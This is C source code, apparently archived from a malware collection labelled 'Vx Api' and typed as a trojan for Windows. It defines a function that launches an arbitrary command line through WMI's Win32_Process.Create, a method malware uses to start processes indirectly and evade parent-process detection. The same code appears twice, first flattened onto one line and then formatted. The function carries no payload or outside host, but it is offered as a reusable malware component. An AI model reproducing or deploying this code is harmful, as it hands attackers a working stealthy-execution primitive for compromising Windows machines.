/* name Vx Api type trojan cve — year unknown os Windows authors unknown source krisyotam archived krisyotam (2026) notes — */#include "Win32Helper.h" DWORD CreateProcessFromWmiWin32_ProcessW(LPCWSTR BinaryPath){ HRESULT Result; IWbemLocator* Locator = NULL; IWbemServices* Services = NULL; IWbemClassObject* Win32ProcessStartupObject = NULL; IWbemClassObject* StartupInstance = NULL; IWbemClassObject* Win32ProcessObject = NULL; IWbemClassObject* ParameterInformationObject = NULL; IWbemClassObject* ParametersObject = NULL; IWbemClassObject* StartupResponseObject = NULL; VARIANT varCommand; VARIANT vtDispatch; BOOL bFlag = FALSE; DWORD dwError = ERROR_SUCCESS; Result = CoInitializeEx(0, COINIT_MULTITHREADED); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = CoCreateInstance(CLSID_WbemLocator, NULL, 1, IID_IWbemLocator, (LPVOID*)&Locator); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Locator->ConnectServer((BSTR)L"ROOT\\CIMV2", NULL, NULL, 0, NULL, 0, 0, &Services); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = CoSetProxyBlanket(Services, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Services->GetObjectW((BSTR)L"Win32_ProcessStartup", 0, NULL, &Win32ProcessStartupObject, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Win32ProcessStartupObject->SpawnInstance(0, &StartupInstance); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Services->GetObjectW((BSTR)L"Win32_Process", 0, NULL, &Win32ProcessObject, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Win32ProcessObject->GetMethod((BSTR)L"Create", 0, &ParameterInformationObject, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = ParameterInformationObject->SpawnInstance(0, &ParametersObject); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; VariantInit(&varCommand); varCommand.vt = VT_BSTR; varCommand.bstrVal = (BSTR)BinaryPath; Result = ParametersObject->Put((BSTR)L"CommandLine", 0, &varCommand, 0); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; VariantInit(&vtDispatch); vtDispatch.vt = VT_DISPATCH; vtDispatch.byref = StartupInstance; Result = ParametersObject->Put((BSTR)L"ProcessStartupInformation", 0, &vtDispatch, 0); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Services->ExecMethod((BSTR)L"Win32_Process", (BSTR)L"Create", 0, NULL, ParametersObject, &StartupResponseObject, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (!bFlag) { if (Result != S_OK) dwError = Win32FromHResult(Result); else dwError = GetLastErrorFromTeb(); } if (Locator) Locator->Release(); if (Services) Services->Release(); if (Win32ProcessStartupObject) Win32ProcessStartupObject->Release(); if (StartupInstance) StartupInstance->Release(); if (Win32ProcessObject) Win32ProcessObject->Release(); if (ParameterInformationObject) ParameterInformationObject->Release(); if (ParametersObject) ParametersObject->Release(); if (StartupResponseObject) StartupResponseObject->Release(); CoUninitialize(); return dwError;}
/*
name Vx Api
type trojan
cve —
year unknown
os Windows
authors unknown
source krisyotam
archived krisyotam (2026)
notes —
*/
#include "Win32Helper.h"
DWORD CreateProcessFromWmiWin32_ProcessW(LPCWSTR BinaryPath)
{
HRESULT Result;
IWbemLocator* Locator = NULL;
IWbemServices* Services = NULL;
IWbemClassObject* Win32ProcessStartupObject = NULL;
IWbemClassObject* StartupInstance = NULL;
IWbemClassObject* Win32ProcessObject = NULL;
IWbemClassObject* ParameterInformationObject = NULL;
IWbemClassObject* ParametersObject = NULL;
IWbemClassObject* StartupResponseObject = NULL;
VARIANT varCommand;
VARIANT vtDispatch;
BOOL bFlag = FALSE;
DWORD dwError = ERROR_SUCCESS;
Result = CoInitializeEx(0, COINIT_MULTITHREADED);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoCreateInstance(CLSID_WbemLocator, NULL, 1, IID_IWbemLocator, (LPVOID*)&Locator);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Locator->ConnectServer((BSTR)L"ROOT\\CIMV2", NULL, NULL, 0, NULL, 0, 0, &Services);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoSetProxyBlanket(Services, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Services->GetObjectW((BSTR)L"Win32_ProcessStartup", 0, NULL, &Win32ProcessStartupObject, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Win32ProcessStartupObject->SpawnInstance(0, &StartupInstance);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Services->GetObjectW((BSTR)L"Win32_Process", 0, NULL, &Win32ProcessObject, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Win32ProcessObject->GetMethod((BSTR)L"Create", 0, &ParameterInformationObject, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = ParameterInformationObject->SpawnInstance(0, &ParametersObject);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
VariantInit(&varCommand);
varCommand.vt = VT_BSTR;
varCommand.bstrVal = (BSTR)BinaryPath;
Result = ParametersObject->Put((BSTR)L"CommandLine", 0, &varCommand, 0);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
VariantInit(&vtDispatch);
vtDispatch.vt = VT_DISPATCH;
vtDispatch.byref = StartupInstance;
Result = ParametersObject->Put((BSTR)L"ProcessStartupInformation", 0, &vtDispatch, 0);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = Services->ExecMethod((BSTR)L"Win32_Process", (BSTR)L"Create", 0, NULL, ParametersObject, &StartupResponseObject, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
bFlag = TRUE;
EXIT_ROUTINE:
if (!bFlag)
{
if (Result != S_OK)
dwError = Win32FromHResult(Result);
else
dwError = GetLastErrorFromTeb();
}
if (Locator)
Locator->Release();
if (Services)
Services->Release();
if (Win32ProcessStartupObject)
Win32ProcessStartupObject->Release();
if (StartupInstance)
StartupInstance->Release();
if (Win32ProcessObject)
Win32ProcessObject->Release();
if (ParameterInformationObject)
ParameterInformationObject->Release();
if (ParametersObject)
ParametersObject->Release();
if (StartupResponseObject)
StartupResponseObject->Release();
CoUninitialize();
return dwError;
}